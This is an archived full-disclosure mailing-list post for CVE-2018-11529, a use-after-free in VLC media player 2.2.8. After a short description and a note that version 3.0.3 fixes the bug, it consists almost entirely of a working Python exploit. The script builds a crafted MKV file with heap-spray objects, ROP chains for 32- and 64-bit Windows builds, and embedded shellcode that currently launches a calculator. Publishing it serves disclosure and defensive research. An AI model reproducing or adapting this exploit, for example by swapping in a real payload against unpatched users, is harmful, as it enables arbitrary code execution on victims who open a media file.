Message-ID: <3d29c9ea7cc34b7796f5d2cd4a3b1d2c@SGKDGMMBSP004.sgmail.sgnet.gov.sg>
Date: Mon, 9 Jul 2018 02:14:48 +0000
From: "Eugene NG (GOVTECH)" <Eugene_NG@...h.gov.sg>
To: "bugtraq@...urityfocus.com" <bugtraq@...urityfocus.com>
Cc: "fulldisclosure@...lists.org" <fulldisclosure@...lists.org>
Subject: [FD] VLC media player 2.2.8 Arbitrary Code Execution PoC

Message Classification: Restricted
# Exploit Title: VLC media player 2.2.8 Arbitrary Code Execution PoC
# Date: 6-6-2018
# Exploit Author: Eugene Ng
# Vendor Homepage: https://www.videolan.org/vlc/index.html
# Software Link: http://download.videolan.org/pub/videolan/vlc/2.2.8/win64/vlc-2.2.8-win64.exe
# Version: 2.2.8
# Tested on: Windows 10 x64
# CVE: CVE-2018-11529
#
# 1. Description
#
# VLC media player through 2.2.8 is prone to a Use-After-Free (UAF) vulnerability. This issue allows
# an attacker to execute arbitrary code in the context of the logged-in user via crafted MKV files. Failed
# exploit attempts will likely result in denial of service conditions.
#
# Exploit can work on both 32 bits and 64 bits of VLC media player.
#
# 2. Proof of Concept
#
# Generate MKV files using python
# Open VLC media player
# Drag and drop poc.mkv into VLC media player (more reliable than double clicking)
#
# 3. Solution
#
# Update to version 3.0.3
# https://get.videolan.org/vlc/3.0.3/win64/vlc-3.0.3-win64.exe

import uuid
from struct import pack

class AttachedFile(object):
    def __init__(self, data):
        self.uid    = '\x46\xae' + data_size(8) + uuid.uuid4().bytes[:8]
        self.name   = '\x46\x6e' + data_size(8) + uuid.uuid4().bytes[:8]
        self.mime   = '\x46\x60' + data_size(24) + 'application/octet-stream'
        self.data   = '\x46\x5c' + data_size(len(data)) + data
        self.header = '\x61\xa7' + data_size(len(self.name) + len(self.data) + len(self.mime) + len(self.uid))

    def __str__(self):
        return self.header + self.name + self.mime + self.uid + self.data

def to_bytes(n, length):
    h = '%x' % n
    s = ('0'*(len(h) % 2) + h).zfill(length*2).decode('hex')
    return s

def data_size(number, numbytes=range(1, 9)):
    # encode 'number' as an EBML variable-size integer.
    size = 0
    for size in numbytes:
        bits = size*7
        if number <= (1 << bits) - 2:
            return to_bytes(((1 << bits) + number), size)
    raise ValueError("Can't store {} in {} bytes".format(number, size))

def build_data(size, bits, version):
    target_addresses = {
        '64': 0x40000040,
        '32': 0x22000020,
    }
    target_address = target_addresses[bits]

    exit_pointers = {
        '64': {
            '2.2.8': 0x00412680,
        },
        '32': {
            '2.2.8': 0x00411364,
        }
    }
    pExit = exit_pointers[bits][version]

    rop_gadgets = {
        '64': {
            '2.2.8': [
                0x004037ac,             # XCHG EAX,ESP # ROL BL,90H # CMP WORD PTR [RCX],5A4DH # JE VLC+0X37C0 (00000000`004037C0) # XOR EAX,EAX # RET
                0x00403b60,             # POP RCX # RET
                target_address,         # lpAddress
                0x004011c2,             # POP RDX # RET
                0x00001000,             # dwSize
                0x0040ab70,             # JMP VirtualProtect
                target_address + 0x500, # Shellcode
            ],
        },
        '32': {
            '2.2.8': [
                0x0040ae91,             # XCHG EAX,ESP # ADD BYTE PTR [ECX],AL # MOV EAX,DWORD PTR [EAX] # RET
                0x00407086,             # POP EDI # RETN [vlc.exe]
                0x00000040,             # 0x00000040-> edx
                0x0040b058,             # MOV EDX,EDI # POP ESI # POP EDI # POP EBP # RETN [vlc.exe]
                0x41414141,             # Filler (compensate)
                0x41414141,             # Filler (compensate)
                0x41414141,             # Filler (compensate)
                0x004039c7,             # POP EAX # POP ECX # RETN [vlc.exe]
                0x22000030,             # Filler (compensate) for rol [eax] below
                0x41414141,             # Filler (compensate)
                0x004039c8,             # POP ECX # RETN [vlc.exe]
                0x0041193d,             # &Writable location [vlc.exe]
                0x00409d18,             # POP EBX # RETN [vlc.exe]
                0x00000201,             # 0x00000201-> ebx
                0x0040a623,             # POP EBP # RETN [vlc.exe]
                0x0040a623,             # POP EBP # RETN [vlc.exe]
                0x004036CB,             # POP ESI # RETN [vlc.exe]
                0x0040848c,             # JMP ds:[EAX * 4 + 40e000] [vlc.exe]
                0x00407086,             # POP EDI # RETN [vlc.exe]
                0x0040ae95,             # MOV EAX,DWORD PTR [EAX] # RETN [vlc.exe]
                0x0040af61,             # PUSHAD # ROL BYTE PTR [EAX], 0FFH # LOOPNE VLC+0XAEF8 (0040AEF8)
                target_address + 0x5e0, # Shellcode
            ],
        }
    }

    if bits == '64':
        target_address_packed = pack("<Q", target_addresses[bits])
        rop_chain = ''.join(pack('<Q', _) for _ in rop_gadgets[bits][version])

        # https://github.com/peterferrie/win-exec-calc-shellcode/tree/master/build/bin
        # w64-exec-calc-shellcode-esp.bin
        shellcode = (
        "\x66\x83\xe4\xf0\x50\x6a\x60\x5a\x68\x63\x61\x6c\x63\x54\x59\x48"
        "\x29\xd4\x65\x48\x8b\x32\x48\x8b\x76\x18\x48\x8b\x76\x10\x48\xad"
        "\x48\x8b\x30\x48\x8b\x7e\x30\x03\x57\x3c\x8b\x5c\x17\x28\x8b\x74"
        "\x1f\x20\x48\x01\xfe\x8b\x54\x1f\x24\x0f\xb7\x2c\x17\x8d\x52\x02"
        "\xad\x81\x3c\x07\x57\x69\x6e\x45\x75\xef\x8b\x74\x1f\x1c\x48\x01"
        "\xfe\x8b\x34\xae\x48\x01\xf7\x99\xff\xd7"
        # add shellcode to avoid crashes by terminating the process
        # xor rcx, rcx # mov rax, pExit # call [rax]
        "\x48\x31\xc9\x48\xc7\xc0" + pack("<I", pExit) + "\xff\x10")

        if size == 0x180:
            UAF_object = '\x41'
            while len(UAF_object) < size:
                UAF_object += UAF_object
            UAF_object = UAF_object[:size]
            UAF_object = UAF_object[:0x30] + target_address_packed + UAF_object[0x38:]
            UAF_object = UAF_object[:0x38] + pack("<Q", target_address + 0x10000) + UAF_object[0x40:]
            UAF_object = UAF_object[:0x168] + pack("<Q", target_address + 0x3c0) + UAF_object[0x170:]
            UAF_object = UAF_object[:0x170] + target_address_packed + UAF_object[0x178:]
            return UAF_object
        else:
            block = '\x00'
            block_size = 0x1000
            while len(block) < block_size:
                block += block
            block = block[:block_size]
            block = block[:0x0] + '\x41' * 4 + block[0x4:]
            block = block[:0x8] + target_address_packed + block[0x10:]
            block = block[:0x10] + target_address_packed + block[0x18:]
            block = block[:0x40] + pack("<Q", 0x1) + block[0x48:]
            block = block[:0x58] + pack("<Q", target_address + 0x3a8) + block[0x60:]
            block = block[:0xE4] + pack("<Q", 0x1) + block[0xEC:]
            block = block[:0x1b8] + pack("<Q", target_address + 0x80) + block[0x1c0:]
            block = block[:0x3b8] + rop_chain + block[0x3b8+len(rop_chain):]
            block = block[:0x500] + shellcode + block[0x500 + len(shellcode):]
            block = block[:0x6d8] + pack("<Q", target_address + 0x10) + block[0x6e0:]
            while len(block) < size:
                block += block
            return block[:size]
    else:
        target_address_packed = pack("<I", target_addresses[bits])
        rop_chain = ''.join(pack('<I', _) for _ in rop_gadgets[bits][version])

        # https://github.com/peterferrie/win-exec-calc-shellcode/tree/master/build/bin
        # w32-exec-calc-shellcode.bin
        shellcode = (
        "\x83\xE4\xFC\x31\xD2\x52\x68\x63\x61\x6C\x63\x54\x59\x52\x51\x64"
        "\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B\x7E\x18\x8B"
        "\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20\x01\xFE\x8B\x54\x1F\x24"
        "\x0F\xB7\x2C\x17\x42\x42\xAD\x81\x3C\x07\x57\x69\x6E\x45\x75\xF0"
        "\x8B\x74\x1F\x1C\x01\xFE\x03\x3C\xAE\xFF\xD7"
        # add shellcode to avoid crashes by terminating the process
        # xor eax, eax # push eax # mov eax, pExit # jmp eax
        "\x31\xC0\x50\xA1" + pack("<I", pExit) + "\xff\xe0")

        if size == 0x100:
            UAF_object = '\x41'
            while len(UAF_object) < size:
                UAF_object += UAF_object
            UAF_object = UAF_object[:size]
            UAF_object = UAF_object[:0x28] + target_address_packed + UAF_object[0x2c:]
            UAF_object = UAF_object[:0x2c] + pack("<I", target_address + 0x10000) + UAF_object[0x30:]
            UAF_object = UAF_object[:0xf4] + pack("<I", target_address + 0x2bc) + UAF_object[0xf8:]
            UAF_object = UAF_object[:0xf8] + target_address_packed + UAF_object[0xfc:]
            return UAF_object
        else:
            block = '\x00'
            block_size = 0x1000
            while len(block) < block_size:
                block += block
            block = block[:block_size]
            block = block[:0x0] + pack("<I", 0x22000040) + block[0x4:]
            block = block[:0x4] + target_address_packed + block[0x8:]
            block = block[:0x8] + target_address_packed + block[0xc:]
            block = block[:0x10] + pack("<I", 0xc85) + block[0x14:]
            block = block[:0x30] + pack("<I", 0x1) + block[0x34:]
            block = block[:0xc0] + pack("<I", 0x1) + block[0xc4:]
            block = block[:0x194] + pack("<I", 0x2200031c) + block[0x198:]
            block = block[:0x2c0] + pack("<I", 0x220002e4) + block[0x2c4:]
            block = block[:0x2f4] + pack("<I", 0x22000310) + block[0x2f8:]
            block = block[:0x2f8] + rop_chain + block[0x2f8+len(rop_chain):]
            block = block[:0x564] + pack("<I", 0x22000588) + block[0x568:]
            block = block[:0x5e0] + shellcode + block[0x5e0+len(shellcode):]
            while len(block) < size:
                block += block
            return block[:size]

def build_exploit(bits, version):
    # EBML Header
    DocType = "\x42\x82" + data_size(8) + "matroska"
    EBML = "\x1a\x45\xdf\xa3" + data_size(len(DocType)) + DocType

    # Seek Entries
    SeekEntry = "\x53\xab" + data_size(4)                             # SeekID
    SeekEntry += "\x15\x49\xa9\x66"                                   # KaxInfo
    SeekEntry += "\x53\xac" + data_size(2) + "\xff" * 2               # SeekPosition + Index of Segment info
    SeekEntries = "\x4d\xbb" + data_size(len(SeekEntry)) + SeekEntry  # Seek Entry

    SeekEntry = "\x53\xab" + data_size(4)                             # SeekID
    SeekEntry += "\x11\x4d\x9b\x74"                                   # KaxSeekHead
    SeekEntry += "\x53\xac" + data_size(4) + "\xff" * 4               # SeekPosition + Index of SeekHead
    SeekEntries += "\x4d\xbb" + data_size(len(SeekEntry)) + SeekEntry # Seek Entry

    SeekEntry = "\x53\xab" + data_size(4)                             # SeekID
    SeekEntry += "\x10\x43\xa7\x70"                                   # KaxChapters
    SeekEntry += "\x53\xac" + data_size(4) + "\xff" * 4               # SeekPosition + Index of Chapters
    SeekEntries += "\x4d\xbb" + data_size(len(SeekEntry)) + SeekEntry # Seek Entry

    # SeekHead
    SeekHead = "\x11\x4d\x9b\x74" + data_size(len(SeekEntries)) + SeekEntries

    # Void
    Void = "\xec" + data_size(2) + "\x41" # Trigger bug with an out-of-order element

    # Info
    SegmentUID = "\x73\xa4" + data_size(16) + uuid.uuid4().bytes
    Info = "\x15\x49\xa9\x66" + data_size(len(SegmentUID)) + SegmentUID

    # Chapters
    ChapterSegmentUID = "\x6e\x67" + data_size(16) + uuid.uuid4().bytes
    ChapterAtom = "\xb6" + data_size(len(ChapterSegmentUID)) + ChapterSegmentUID
    EditionEntry = "\x45\xb9" + data_size(len(ChapterAtom)) + ChapterAtom
    Chapters = "\x10\x43\xa7\x70" + data_size(len(EditionEntry)) + EditionEntry

    if bits == '64':
        size = 0x180
        count = 60
    else:
        size = 0x100
        count = 30

    # Attachments
    print "[+] Generating UAF objects...",
    AttachedFiles = ""
    for i in range(500):
        AttachedFiles += str(AttachedFile(build_data(size, bits, version)))
    Attachments = "\x19\x41\xa4\x69" + data_size(len(AttachedFiles)) + AttachedFiles
    print "done"

    # Cluster
    print "[+] Generating payload...",
    payload = build_data(0xfff000, bits, version)
    SimpleBlocks = "\xa3" + data_size(len(payload)) + payload
    SimpleBlocksLength = len(SimpleBlocks) * count
    Timecode = "\xe7" + data_size(1) + "\x00"
    Cluster = "\x1f\x43\xb6\x75" + data_size(len(Timecode) + SimpleBlocksLength) + Timecode
    print "done"

    # Concatenate everything
    SegmentData = SeekHead + Void + Info + Chapters + Attachments + Cluster
    Segment = "\x18\x53\x80\x67" + data_size(len(SegmentData) + SimpleBlocksLength) + SegmentData
    mkv = EBML + Segment

    print "[+] Writing poc MKV...",
    with open('poc.mkv', 'wb') as fp:
        fp.write(mkv)
        for i in range(count):
            fp.write(SimpleBlocks)
    print "done"

    # Bug requires another MKV file in the same directory, hence we
    # generate another 'minimally valid' MKV file that VLC will parse
    # Also able to use any other valid MKV file...
    auxi_mkv = mkv[:0x4f] + "\x15\x49\xa9\x66" + data_size(10) # Add some arbitrary size

    print "[+] Writing auxiliary MKV...",
    with open('auxi.mkv', 'wb') as fp:
        fp.write(auxi_mkv)
    print "done"

if __name__ == '__main__':
    bits = '64' # 32 / 64
    version = '2.2.8'

    print "Building exploit for %s-bit VLC media player %s on Windows" % (bits, version)
    build_exploit(bits, version)
    print "Open VLC and drag and drop in poc.mkv"

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